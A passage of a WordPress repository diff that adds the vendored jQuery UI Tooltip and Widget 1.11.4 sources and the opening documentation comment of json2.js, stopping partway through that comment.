--- /tags/5.0.20/src/wp-includes/js/jquery/ui/tooltip.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/tooltip.js	(revision 56912)
@@ -0,0 +1,473 @@
+/*!
+ * jQuery UI Tooltip 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/tooltip/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.tooltip", {
+	version: "1.11.4",
+	options: {
+		content: function() {
+			// support: IE<9, Opera in jQuery <1.7
+			// .text() can't accept undefined, so coerce to a string
+			var title = $( this ).attr( "title" ) || "";
+			// Escape title, since we're going from an attribute to raw HTML
+			return $( "<a>" ).text( title ).html();
+		},
+		hide: true,
+		// Disabled elements have inconsistent behavior across browsers (#8661)
+		items: "[title]:not([disabled])",
+		position: {
+			my: "left top+15",
+			at: "left bottom",
+			collision: "flipfit flip"
+		},
+		show: true,
+		tooltipClass: null,
+		track: false,
+
+		// callbacks
+		close: null,
+		open: null
+	},
+
+	_addDescribedBy: function( elem, id ) {
+		var describedby = (elem.attr( "aria-describedby" ) || "").split( /\s+/ );
+		describedby.push( id );
+		elem
+			.data( "ui-tooltip-id", id )
+			.attr( "aria-describedby", $.trim( describedby.join( " " ) ) );
+	},
+
+	_removeDescribedBy: function( elem ) {
+		var id = elem.data( "ui-tooltip-id" ),
+			describedby = (elem.attr( "aria-describedby" ) || "").split( /\s+/ ),
+			index = $.inArray( id, describedby );
+
+		if ( index !== -1 ) {
+			describedby.splice( index, 1 );
+		}
+
+		elem.removeData( "ui-tooltip-id" );
+		describedby = $.trim( describedby.join( " " ) );
+		if ( describedby ) {
+			elem.attr( "aria-describedby", describedby );
+		} else {
+			elem.removeAttr( "aria-describedby" );
+		}
+	},
+
+	_create: function() {
+		this._on({
+			mouseover: "open",
+			focusin: "open"
+		});
+
+		// IDs of generated tooltips, needed for destroy
+		this.tooltips = {};
+
+		// IDs of parent tooltips where we removed the title attribute
+		this.parents = {};
+
+		if ( this.options.disabled ) {
+			this._disable();
+		}
+
+		// Append the aria-live region so tooltips announce correctly
+		this.liveRegion = $( "<div>" )
+			.attr({
+				role: "log",
+				"aria-live": "assertive",
+				"aria-relevant": "additions"
+			})
+			.addClass( "ui-helper-hidden-accessible" )
+			.appendTo( this.document[ 0 ].body );
+	},
+
+	_setOption: function( key, value ) {
+		var that = this;
+
+		if ( key === "disabled" ) {
+			this[ value ? "_disable" : "_enable" ]();
+			this.options[ key ] = value;
+			// disable element style changes
+			return;
+		}
+
+		this._super( key, value );
+
+		if ( key === "content" ) {
+			$.each( this.tooltips, function( id, tooltipData ) {
+				that._updateContent( tooltipData.element );
+			});
+		}
+	},
+
+	_disable: function() {
+		var that = this;
+
+		// close open tooltips
+		$.each( this.tooltips, function( id, tooltipData ) {
+			var event = $.Event( "blur" );
+			event.target = event.currentTarget = tooltipData.element[ 0 ];
+			that.close( event, true );
+		});
+
+		// remove title attributes to prevent native tooltips
+		this.element.find( this.options.items ).addBack().each(function() {
+			var element = $( this );
+			if ( element.is( "[title]" ) ) {
+				element
+					.data( "ui-tooltip-title", element.attr( "title" ) )
+					.removeAttr( "title" );
+			}
+		});
+	},
+
+	_enable: function() {
+		// restore title attributes
+		this.element.find( this.options.items ).addBack().each(function() {
+			var element = $( this );
+			if ( element.data( "ui-tooltip-title" ) ) {
+				element.attr( "title", element.data( "ui-tooltip-title" ) );
+			}
+		});
+	},
+
+	open: function( event ) {
+		var that = this,
+			target = $( event ? event.target : this.element )
+				// we need closest here due to mouseover bubbling,
+				// but always pointing at the same event target
+				.closest( this.options.items );
+
+		// No element to show a tooltip for or the tooltip is already open
+		if ( !target.length || target.data( "ui-tooltip-id" ) ) {
+			return;
+		}
+
+		if ( target.attr( "title" ) ) {
+			target.data( "ui-tooltip-title", target.attr( "title" ) );
+		}
+
+		target.data( "ui-tooltip-open", true );
+
+		// kill parent tooltips, custom or native, for hover
+		if ( event && event.type === "mouseover" ) {
+			target.parents().each(function() {
+				var parent = $( this ),
+					blurEvent;
+				if ( parent.data( "ui-tooltip-open" ) ) {
+					blurEvent = $.Event( "blur" );
+					blurEvent.target = blurEvent.currentTarget = this;
+					that.close( blurEvent, true );
+				}
+				if ( parent.attr( "title" ) ) {
+					parent.uniqueId();
+					that.parents[ this.id ] = {
+						element: this,
+						title: parent.attr( "title" )
+					};
+					parent.attr( "title", "" );
+				}
+			});
+		}
+
+		this._registerCloseHandlers( event, target );
+		this._updateContent( target, event );
+	},
+
+	_updateContent: function( target, event ) {
+		var content,
+			contentOption = this.options.content,
+			that = this,
+			eventType = event ? event.type : null;
+
+		if ( typeof contentOption === "string" ) {
+			return this._open( event, target, contentOption );
+		}
+
+		content = contentOption.call( target[0], function( response ) {
+
+			// IE may instantly serve a cached response for ajax requests
+			// delay this call to _open so the other call to _open runs first
+			that._delay(function() {
+
+				// Ignore async response if tooltip was closed already
+				if ( !target.data( "ui-tooltip-open" ) ) {
+					return;
+				}
+
+				// jQuery creates a special event for focusin when it doesn't
+				// exist natively. To improve performance, the native event
+				// object is reused and the type is changed. Therefore, we can't
+				// rely on the type being correct after the event finished
+				// bubbling, so we set it back to the previous value. (#8740)
+				if ( event ) {
+					event.type = eventType;
+				}
+				this._open( event, target, response );
+			});
+		});
+		if ( content ) {
+			this._open( event, target, content );
+		}
+	},
+
+	_open: function( event, target, content ) {
+		var tooltipData, tooltip, delayedShow, a11yContent,
+			positionOption = $.extend( {}, this.options.position );
+
+		if ( !content ) {
+			return;
+		}
+
+		// Content can be updated multiple times. If the tooltip already
+		// exists, then just update the content and bail.
+		tooltipData = this._find( target );
+		if ( tooltipData ) {
+			tooltipData.tooltip.find( ".ui-tooltip-content" ).html( content );
+			return;
+		}
+
+		// if we have a title, clear it to prevent the native tooltip
+		// we have to check first to avoid defining a title if none exists
+		// (we don't want to cause an element to start matching [title])
+		//
+		// We use removeAttr only for key events, to allow IE to export the correct
+		// accessible attributes. For mouse events, set to empty string to avoid
+		// native tooltip showing up (happens only when removing inside mouseover).
+		if ( target.is( "[title]" ) ) {
+			if ( event && event.type === "mouseover" ) {
+				target.attr( "title", "" );
+			} else {
+				target.removeAttr( "title" );
+			}
+		}
+
+		tooltipData = this._tooltip( target );
+		tooltip = tooltipData.tooltip;
+		this._addDescribedBy( target, tooltip.attr( "id" ) );
+		tooltip.find( ".ui-tooltip-content" ).html( content );
+
+		// Support: Voiceover on OS X, JAWS on IE <= 9
+		// JAWS announces deletions even when aria-relevant="additions"
+		// Voiceover will sometimes re-read the entire log region's contents from the beginning
+		this.liveRegion.children().hide();
+		if ( content.clone ) {
+			a11yContent = content.clone();
+			a11yContent.removeAttr( "id" ).find( "[id]" ).removeAttr( "id" );
+		} else {
+			a11yContent = content;
+		}
+		$( "<div>" ).html( a11yContent ).appendTo( this.liveRegion );
+
+		function position( event ) {
+			positionOption.of = event;
+			if ( tooltip.is( ":hidden" ) ) {
+				return;
+			}
+			tooltip.position( positionOption );
+		}
+		if ( this.options.track && event && /^mouse/.test( event.type ) ) {
+			this._on( this.document, {
+				mousemove: position
+			});
+			// trigger once to override element-relative positioning
+			position( event );
+		} else {
+			tooltip.position( $.extend({
+				of: target
+			}, this.options.position ) );
+		}
+
+		tooltip.hide();
+
+		this._show( tooltip, this.options.show );
+		// Handle tracking tooltips that are shown with a delay (#8644). As soon
+		// as the tooltip is visible, position the tooltip using the most recent
+		// event.
+		if ( this.options.show && this.options.show.delay ) {
+			delayedShow = this.delayedShow = setInterval(function() {
+				if ( tooltip.is( ":visible" ) ) {
+					position( positionOption.of );
+					clearInterval( delayedShow );
+				}
+			}, $.fx.interval );
+		}
+
+		this._trigger( "open", event, { tooltip: tooltip } );
+	},
+
+	_registerCloseHandlers: function( event, target ) {
+		var events = {
+			keyup: function( event ) {
+				if ( event.keyCode === $.ui.keyCode.ESCAPE ) {
+					var fakeEvent = $.Event(event);
+					fakeEvent.currentTarget = target[0];
+					this.close( fakeEvent, true );
+				}
+			}
+		};
+
+		// Only bind remove handler for delegated targets. Non-delegated
+		// tooltips will handle this in destroy.
+		if ( target[ 0 ] !== this.element[ 0 ] ) {
+			events.remove = function() {
+				this._removeTooltip( this._find( target ).tooltip );
+			};
+		}
+
+		if ( !event || event.type === "mouseover" ) {
+			events.mouseleave = "close";
+		}
+		if ( !event || event.type === "focusin" ) {
+			events.focusout = "close";
+		}
+		this._on( true, target, events );
+	},
+
+	close: function( event ) {
+		var tooltip,
+			that = this,
+			target = $( event ? event.currentTarget : this.element ),
+			tooltipData = this._find( target );
+
+		// The tooltip may already be closed
+		if ( !tooltipData ) {
+
+			// We set ui-tooltip-open immediately upon open (in open()), but only set the
+			// additional data once there's actually content to show (in _open()). So even if the
+			// tooltip doesn't have full data, we always remove ui-tooltip-open in case we're in
+			// the period between open() and _open().
+			target.removeData( "ui-tooltip-open" );
+			return;
+		}
+
+		tooltip = tooltipData.tooltip;
+
+		// disabling closes the tooltip, so we need to track when we're closing
+		// to avoid an infinite loop in case the tooltip becomes disabled on close
+		if ( tooltipData.closing ) {
+			return;
+		}
+
+		// Clear the interval for delayed tracking tooltips
+		clearInterval( this.delayedShow );
+
+		// only set title if we had one before (see comment in _open())
+		// If the title attribute has changed since open(), don't restore
+		if ( target.data( "ui-tooltip-title" ) && !target.attr( "title" ) ) {
+			target.attr( "title", target.data( "ui-tooltip-title" ) );
+		}
+
+		this._removeDescribedBy( target );
+
+		tooltipData.hiding = true;
+		tooltip.stop( true );
+		this._hide( tooltip, this.options.hide, function() {
+			that._removeTooltip( $( this ) );
+		});
+
+		target.removeData( "ui-tooltip-open" );
+		this._off( target, "mouseleave focusout keyup" );
+
+		// Remove 'remove' binding only on delegated targets
+		if ( target[ 0 ] !== this.element[ 0 ] ) {
+			this._off( target, "remove" );
+		}
+		this._off( this.document, "mousemove" );
+
+		if ( event && event.type === "mouseleave" ) {
+			$.each( this.parents, function( id, parent ) {
+				$( parent.element ).attr( "title", parent.title );
+				delete that.parents[ id ];
+			});
+		}
+
+		tooltipData.closing = true;
+		this._trigger( "close", event, { tooltip: tooltip } );
+		if ( !tooltipData.hiding ) {
+			tooltipData.closing = false;
+		}
+	},
+
+	_tooltip: function( element ) {
+		var tooltip = $( "<div>" )
+				.attr( "role", "tooltip" )
+				.addClass( "ui-tooltip ui-widget ui-corner-all ui-widget-content " +
+					( this.options.tooltipClass || "" ) ),
+			id = tooltip.uniqueId().attr( "id" );
+
+		$( "<div>" )
+			.addClass( "ui-tooltip-content" )
+			.appendTo( tooltip );
+
+		tooltip.appendTo( this.document[0].body );
+
+		return this.tooltips[ id ] = {
+			element: element,
+			tooltip: tooltip
+		};
+	},
+
+	_find: function( target ) {
+		var id = target.data( "ui-tooltip-id" );
+		return id ? this.tooltips[ id ] : null;
+	},
+
+	_removeTooltip: function( tooltip ) {
+		tooltip.remove();
+		delete this.tooltips[ tooltip.attr( "id" ) ];
+	},
+
+	_destroy: function() {
+		var that = this;
+
+		// close open tooltips
+		$.each( this.tooltips, function( id, tooltipData ) {
+			// Delegate to close method to handle common cleanup
+			var event = $.Event( "blur" ),
+				element = tooltipData.element;
+			event.target = event.currentTarget = element[ 0 ];
+			that.close( event, true );
+
+			// Remove immediately; destroying an open tooltip doesn't use the
+			// hide animation
+			$( "#" + id ).remove();
+
+			// Restore the title
+			if ( element.data( "ui-tooltip-title" ) ) {
+				// If the title attribute has changed since open(), don't restore
+				if ( !element.attr( "title" ) ) {
+					element.attr( "title", element.data( "ui-tooltip-title" ) );
+				}
+				element.removeData( "ui-tooltip-title" );
+			}
+		});
+		this.liveRegion.remove();
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/widget.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/widget.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/widget.js	(revision 56912)
@@ -0,0 +1,558 @@
+/*!
+ * jQuery UI Widget 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/jQuery.widget/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var widget_uuid = 0,
+	widget_slice = Array.prototype.slice;
+
+$.cleanData = (function( orig ) {
+	return function( elems ) {
+		var events, elem, i;
+		for ( i = 0; (elem = elems[i]) != null; i++ ) {
+			try {
+
+				// Only trigger remove when necessary to save time
+				events = $._data( elem, "events" );
+				if ( events && events.remove ) {
+					$( elem ).triggerHandler( "remove" );
+				}
+
+			// http://bugs.jquery.com/ticket/8235
+			} catch ( e ) {}
+		}
+		orig( elems );
+	};
+})( $.cleanData );
+
+$.widget = function( name, base, prototype ) {
+	var fullName, existingConstructor, constructor, basePrototype,
+		// proxiedPrototype allows the provided prototype to remain unmodified
+		// so that it can be used as a mixin for multiple widgets (#8876)
+		proxiedPrototype = {},
+		namespace = name.split( "." )[ 0 ];
+
+	name = name.split( "." )[ 1 ];
+	fullName = namespace + "-" + name;
+
+	if ( !prototype ) {
+		prototype = base;
+		base = $.Widget;
+	}
+
+	// create selector for plugin
+	$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
+		return !!$.data( elem, fullName );
+	};
+
+	$[ namespace ] = $[ namespace ] || {};
+	existingConstructor = $[ namespace ][ name ];
+	constructor = $[ namespace ][ name ] = function( options, element ) {
+		// allow instantiation without "new" keyword
+		if ( !this._createWidget ) {
+			return new constructor( options, element );
+		}
+
+		// allow instantiation without initializing for simple inheritance
+		// must use "new" keyword (the code above always passes args)
+		if ( arguments.length ) {
+			this._createWidget( options, element );
+		}
+	};
+	// extend with the existing constructor to carry over any static properties
+	$.extend( constructor, existingConstructor, {
+		version: prototype.version,
+		// copy the object used to create the prototype in case we need to
+		// redefine the widget later
+		_proto: $.extend( {}, prototype ),
+		// track widgets that inherit from this widget in case this widget is
+		// redefined after a widget inherits from it
+		_childConstructors: []
+	});
+
+	basePrototype = new base();
+	// we need to make the options hash a property directly on the new instance
+	// otherwise we'll modify the options hash on the prototype that we're
+	// inheriting from
+	basePrototype.options = $.widget.extend( {}, basePrototype.options );
+	$.each( prototype, function( prop, value ) {
+		if ( !$.isFunction( value ) ) {
+			proxiedPrototype[ prop ] = value;
+			return;
+		}
+		proxiedPrototype[ prop ] = (function() {
+			var _super = function() {
+					return base.prototype[ prop ].apply( this, arguments );
+				},
+				_superApply = function( args ) {
+					return base.prototype[ prop ].apply( this, args );
+				};
+			return function() {
+				var __super = this._super,
+					__superApply = this._superApply,
+					returnValue;
+
+				this._super = _super;
+				this._superApply = _superApply;
+
+				returnValue = value.apply( this, arguments );
+
+				this._super = __super;
+				this._superApply = __superApply;
+
+				return returnValue;
+			};
+		})();
+	});
+	constructor.prototype = $.widget.extend( basePrototype, {
+		// TODO: remove support for widgetEventPrefix
+		// always use the name + a colon as the prefix, e.g., draggable:start
+		// don't prefix for widgets that aren't DOM-based
+		widgetEventPrefix: existingConstructor ? (basePrototype.widgetEventPrefix || name) : name
+	}, proxiedPrototype, {
+		constructor: constructor,
+		namespace: namespace,
+		widgetName: name,
+		widgetFullName: fullName
+	});
+
+	// If this widget is being redefined then we need to find all widgets that
+	// are inheriting from it and redefine all of them so that they inherit from
+	// the new version of this widget. We're essentially trying to replace one
+	// level in the prototype chain.
+	if ( existingConstructor ) {
+		$.each( existingConstructor._childConstructors, function( i, child ) {
+			var childPrototype = child.prototype;
+
+			// redefine the child widget using the same prototype that was
+			// originally used, but inherit from the new version of the base
+			$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );
+		});
+		// remove the list of existing child constructors from the old constructor
+		// so the old child constructors can be garbage collected
+		delete existingConstructor._childConstructors;
+	} else {
+		base._childConstructors.push( constructor );
+	}
+
+	$.widget.bridge( name, constructor );
+
+	return constructor;
+};
+
+$.widget.extend = function( target ) {
+	var input = widget_slice.call( arguments, 1 ),
+		inputIndex = 0,
+		inputLength = input.length,
+		key,
+		value;
+	for ( ; inputIndex < inputLength; inputIndex++ ) {
+		for ( key in input[ inputIndex ] ) {
+			value = input[ inputIndex ][ key ];
+			if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) {
+				// Clone objects
+				if ( $.isPlainObject( value ) ) {
+					target[ key ] = $.isPlainObject( target[ key ] ) ?
+						$.widget.extend( {}, target[ key ], value ) :
+						// Don't extend strings, arrays, etc. with objects
+						$.widget.extend( {}, value );
+				// Copy everything else by reference
+				} else {
+					target[ key ] = value;
+				}
+			}
+		}
+	}
+	return target;
+};
+
+$.widget.bridge = function( name, object ) {
+	var fullName = object.prototype.widgetFullName || name;
+	$.fn[ name ] = function( options ) {
+		var isMethodCall = typeof options === "string",
+			args = widget_slice.call( arguments, 1 ),
+			returnValue = this;
+
+		if ( isMethodCall ) {
+			this.each(function() {
+				var methodValue,
+					instance = $.data( this, fullName );
+				if ( options === "instance" ) {
+					returnValue = instance;
+					return false;
+				}
+				if ( !instance ) {
+					return $.error( "cannot call methods on " + name + " prior to initialization; " +
+						"attempted to call method '" + options + "'" );
+				}
+				if ( !$.isFunction( instance[options] ) || options.charAt( 0 ) === "_" ) {
+					return $.error( "no such method '" + options + "' for " + name + " widget instance" );
+				}
+				methodValue = instance[ options ].apply( instance, args );
+				if ( methodValue !== instance && methodValue !== undefined ) {
+					returnValue = methodValue && methodValue.jquery ?
+						returnValue.pushStack( methodValue.get() ) :
+						methodValue;
+					return false;
+				}
+			});
+		} else {
+
+			// Allow multiple hashes to be passed on init
+			if ( args.length ) {
+				options = $.widget.extend.apply( null, [ options ].concat(args) );
+			}
+
+			this.each(function() {
+				var instance = $.data( this, fullName );
+				if ( instance ) {
+					instance.option( options || {} );
+					if ( instance._init ) {
+						instance._init();
+					}
+				} else {
+					$.data( this, fullName, new object( options, this ) );
+				}
+			});
+		}
+
+		return returnValue;
+	};
+};
+
+$.Widget = function( /* options, element */ ) {};
+$.Widget._childConstructors = [];
+
+$.Widget.prototype = {
+	widgetName: "widget",
+	widgetEventPrefix: "",
+	defaultElement: "<div>",
+	options: {
+		disabled: false,
+
+		// callbacks
+		create: null
+	},
+	_createWidget: function( options, element ) {
+		element = $( element || this.defaultElement || this )[ 0 ];
+		this.element = $( element );
+		this.uuid = widget_uuid++;
+		this.eventNamespace = "." + this.widgetName + this.uuid;
+
+		this.bindings = $();
+		this.hoverable = $();
+		this.focusable = $();
+
+		if ( element !== this ) {
+			$.data( element, this.widgetFullName, this );
+			this._on( true, this.element, {
+				remove: function( event ) {
+					if ( event.target === element ) {
+						this.destroy();
+					}
+				}
+			});
+			this.document = $( element.style ?
+				// element within the document
+				element.ownerDocument :
+				// element is window or document
+				element.document || element );
+			this.window = $( this.document[0].defaultView || this.document[0].parentWindow );
+		}
+
+		this.options = $.widget.extend( {},
+			this.options,
+			this._getCreateOptions(),
+			options );
+
+		this._create();
+		this._trigger( "create", null, this._getCreateEventData() );
+		this._init();
+	},
+	_getCreateOptions: $.noop,
+	_getCreateEventData: $.noop,
+	_create: $.noop,
+	_init: $.noop,
+
+	destroy: function() {
+		this._destroy();
+		// we can probably remove the unbind calls in 2.0
+		// all event bindings should go through this._on()
+		this.element
+			.unbind( this.eventNamespace )
+			.removeData( this.widgetFullName )
+			// support: jquery <1.6.3
+			// http://bugs.jquery.com/ticket/9413
+			.removeData( $.camelCase( this.widgetFullName ) );
+		this.widget()
+			.unbind( this.eventNamespace )
+			.removeAttr( "aria-disabled" )
+			.removeClass(
+				this.widgetFullName + "-disabled " +
+				"ui-state-disabled" );
+
+		// clean up events and states
+		this.bindings.unbind( this.eventNamespace );
+		this.hoverable.removeClass( "ui-state-hover" );
+		this.focusable.removeClass( "ui-state-focus" );
+	},
+	_destroy: $.noop,
+
+	widget: function() {
+		return this.element;
+	},
+
+	option: function( key, value ) {
+		var options = key,
+			parts,
+			curOption,
+			i;
+
+		if ( arguments.length === 0 ) {
+			// don't return a reference to the internal hash
+			return $.widget.extend( {}, this.options );
+		}
+
+		if ( typeof key === "string" ) {
+			// handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
+			options = {};
+			parts = key.split( "." );
+			key = parts.shift();
+			if ( parts.length ) {
+				curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
+				for ( i = 0; i < parts.length - 1; i++ ) {
+					curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
+					curOption = curOption[ parts[ i ] ];
+				}
+				key = parts.pop();
+				if ( arguments.length === 1 ) {
+					return curOption[ key ] === undefined ? null : curOption[ key ];
+				}
+				curOption[ key ] = value;
+			} else {
+				if ( arguments.length === 1 ) {
+					return this.options[ key ] === undefined ? null : this.options[ key ];
+				}
+				options[ key ] = value;
+			}
+		}
+
+		this._setOptions( options );
+
+		return this;
+	},
+	_setOptions: function( options ) {
+		var key;
+
+		for ( key in options ) {
+			this._setOption( key, options[ key ] );
+		}
+
+		return this;
+	},
+	_setOption: function( key, value ) {
+		this.options[ key ] = value;
+
+		if ( key === "disabled" ) {
+			this.widget()
+				.toggleClass( this.widgetFullName + "-disabled", !!value );
+
+			// If the widget is becoming disabled, then nothing is interactive
+			if ( value ) {
+				this.hoverable.removeClass( "ui-state-hover" );
+				this.focusable.removeClass( "ui-state-focus" );
+			}
+		}
+
+		return this;
+	},
+
+	enable: function() {
+		return this._setOptions({ disabled: false });
+	},
+	disable: function() {
+		return this._setOptions({ disabled: true });
+	},
+
+	_on: function( suppressDisabledCheck, element, handlers ) {
+		var delegateElement,
+			instance = this;
+
+		// no suppressDisabledCheck flag, shuffle arguments
+		if ( typeof suppressDisabledCheck !== "boolean" ) {
+			handlers = element;
+			element = suppressDisabledCheck;
+			suppressDisabledCheck = false;
+		}
+
+		// no element argument, shuffle and use this.element
+		if ( !handlers ) {
+			handlers = element;
+			element = this.element;
+			delegateElement = this.widget();
+		} else {
+			element = delegateElement = $( element );
+			this.bindings = this.bindings.add( element );
+		}
+
+		$.each( handlers, function( event, handler ) {
+			function handlerProxy() {
+				// allow widgets to customize the disabled handling
+				// - disabled as an array instead of boolean
+				// - disabled class as method for disabling individual parts
+				if ( !suppressDisabledCheck &&
+						( instance.options.disabled === true ||
+							$( this ).hasClass( "ui-state-disabled" ) ) ) {
+					return;
+				}
+				return ( typeof handler === "string" ? instance[ handler ] : handler )
+					.apply( instance, arguments );
+			}
+
+			// copy the guid so direct unbinding works
+			if ( typeof handler !== "string" ) {
+				handlerProxy.guid = handler.guid =
+					handler.guid || handlerProxy.guid || $.guid++;
+			}
+
+			var match = event.match( /^([\w:-]*)\s*(.*)$/ ),
+				eventName = match[1] + instance.eventNamespace,
+				selector = match[2];
+			if ( selector ) {
+				delegateElement.delegate( selector, eventName, handlerProxy );
+			} else {
+				element.bind( eventName, handlerProxy );
+			}
+		});
+	},
+
+	_off: function( element, eventName ) {
+		eventName = (eventName || "").split( " " ).join( this.eventNamespace + " " ) +
+			this.eventNamespace;
+		element.unbind( eventName ).undelegate( eventName );
+
+		// Clear the stack to avoid memory leaks (#10056)
+		this.bindings = $( this.bindings.not( element ).get() );
+		this.focusable = $( this.focusable.not( element ).get() );
+		this.hoverable = $( this.hoverable.not( element ).get() );
+	},
+
+	_delay: function( handler, delay ) {
+		function handlerProxy() {
+			return ( typeof handler === "string" ? instance[ handler ] : handler )
+				.apply( instance, arguments );
+		}
+		var instance = this;
+		return setTimeout( handlerProxy, delay || 0 );
+	},
+
+	_hoverable: function( element ) {
+		this.hoverable = this.hoverable.add( element );
+		this._on( element, {
+			mouseenter: function( event ) {
+				$( event.currentTarget ).addClass( "ui-state-hover" );
+			},
+			mouseleave: function( event ) {
+				$( event.currentTarget ).removeClass( "ui-state-hover" );
+			}
+		});
+	},
+
+	_focusable: function( element ) {
+		this.focusable = this.focusable.add( element );
+		this._on( element, {
+			focusin: function( event ) {
+				$( event.currentTarget ).addClass( "ui-state-focus" );
+			},
+			focusout: function( event ) {
+				$( event.currentTarget ).removeClass( "ui-state-focus" );
+			}
+		});
+	},
+
+	_trigger: function( type, event, data ) {
+		var prop, orig,
+			callback = this.options[ type ];
+
+		data = data || {};
+		event = $.Event( event );
+		event.type = ( type === this.widgetEventPrefix ?
+			type :
+			this.widgetEventPrefix + type ).toLowerCase();
+		// the original event may come from any element
+		// so we need to reset the target on the new event
+		event.target = this.element[ 0 ];
+
+		// copy original event properties over to the new event
+		orig = event.originalEvent;
+		if ( orig ) {
+			for ( prop in orig ) {
+				if ( !( prop in event ) ) {
+					event[ prop ] = orig[ prop ];
+				}
+			}
+		}
+
+		this.element.trigger( event, data );
+		return !( $.isFunction( callback ) &&
+			callback.apply( this.element[0], [ event ].concat( data ) ) === false ||
+			event.isDefaultPrevented() );
+	}
+};
+
+$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
+	$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
+		if ( typeof options === "string" ) {
+			options = { effect: options };
+		}
+		var hasOptions,
+			effectName = !options ?
+				method :
+				options === true || typeof options === "number" ?
+					defaultEffect :
+					options.effect || defaultEffect;
+		options = options || {};
+		if ( typeof options === "number" ) {
+			options = { duration: options };
+		}
+		hasOptions = !$.isEmptyObject( options );
+		options.complete = callback;
+		if ( options.delay ) {
+			element.delay( options.delay );
+		}
+		if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
+			element[ method ]( options );
+		} else if ( effectName !== method && element[ effectName ] ) {
+			element[ effectName ]( options.duration, options.easing, callback );
+		} else {
+			element.queue(function( next ) {
+				$( this )[ method ]();
+				if ( callback ) {
+					callback.call( element[ 0 ] );
+				}
+				next();
+			});
+		}
+	};
+});
+
+return $.widget;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/json2.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/json2.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/json2.js	(revision 56912)
@@ -0,0 +1,519 @@
+/*
+    json2.js
+    2015-05-03
+
+    Public Domain.
+
+    NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
+
+    See http://www.JSON.org/js.html
+
+
+    This code should be minified before deployment.
+    See http://javascript.crockford.com/jsmin.html
+
+    USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
+    NOT CONTROL.
+
+
+    This file creates a global JSON object containing two methods: stringify
+    and parse. This file is provides the ES5 JSON capability to ES3 systems.
+    If a project might run on IE8 or earlier, then this file should be included.
+    This file does nothing on ES5 systems.
+
+        JSON.stringify(value, replacer, space)
+            value       any JavaScript value, usually an object or array.
+
+            replacer    an optional parameter that determines how object
+                        values are stringified for objects. It can be a
+                        function or an array of strings.
+
+            space       an optional parameter that specifies the indentation
+                        of nested structures. If it is omitted, the text will
+                        be packed without extra whitespace. If it is a number,
+                        it will specify the number of spaces to indent at each
+                        level. If it is a string (such as '\t' or '&nbsp;'),
+                        it contains the characters used to indent at each level.
+
+            This method produces a JSON text from a JavaScript value.
+
+            When an object value is found, if the object contains a toJSON
+            method, its toJSON method will be called and the result will be
+            stringified. A toJSON method does not serialize: it returns the
+            value represented by the name/value pair that should be serialized,
+            or undefined if nothing should be serialized. The toJSON method
+            will be passed the key associated with the value, and this will be
+            bound to the value
+
+            For example, this would serialize Dates as ISO strings.
+
+                Date.prototype.toJSON = function (key) {
+                    function f(n) {
+                        // Format integers to have at least two digits.
+                        return n < 10 
+                            ? '0' + n 
+                            : n;
+                    }
+
+                    return this.getUTCFullYear()   + '-' +
+                         f(this.getUTCMonth() + 1) + '-' +
+                         f(this.getUTCDate())      + 'T' +
+                         f(this.getUTCHours())     + ':' +
+                         f(this.getUTCMinutes())   + ':' +
+                         f(this.getUTCSeconds())   + 'Z';
+                };
+
+            You can provide an optional replacer method. It will be passed the
+            key and value of each member, with this bound to the containing
+            object. The value that is returned from your method will be
+            serialized. If your method returns undefined, then the member will
+            be excluded from the serialization.
+
+            If the replacer parameter is an array of strings, then it will be
+            used to select the members to be serialized. It filters the results
+            such that only members with keys listed in the replacer array are
+            stringified.
+
+            Values that do not have JSON representations, such as undefined or
+            functions, will not be serialized. Such values in objects will be
+            dropped; in arrays they will be replaced with null. You can use
+            a replacer function to replace those with JSON values.
+            JSON.stringify(undefined) returns undefined.
+
+            The optional space parameter produces a stringification of the
+            value that is filled with line breaks and indentation to make it
+            easier to read.
+
+            If the space parameter is a non-empty string, then that string will
+            be used for indentation. If the space parameter is a number, then
+            the indentation will be that many spaces.
+
+            Example:
+
+            text = JSON.stringify(['e', {pluribus: 'unum'}]);
+            // text is '["e",{"pluribus":"unum"}]'
+
+
+            text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t');
+            // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]'
+
+            text = JSON.stringify([new Date()], function (key, value) {
+                return this[key] instanceof Date 
+                    ? 'Date(' + this[key] + ')' 
+                    : value;
+            });
+            // text is '["Date(---current time---)"]'
+
+
+        JSON.parse(text, reviver)
+            This method parses a JSON text to produce an object or array.
+            It can throw a SyntaxError exception.
+
+            The optional reviver parameter is a function that can filter and
+            transform the results. It receives each of the keys and values,
+            and its return value is used instead of the original value.
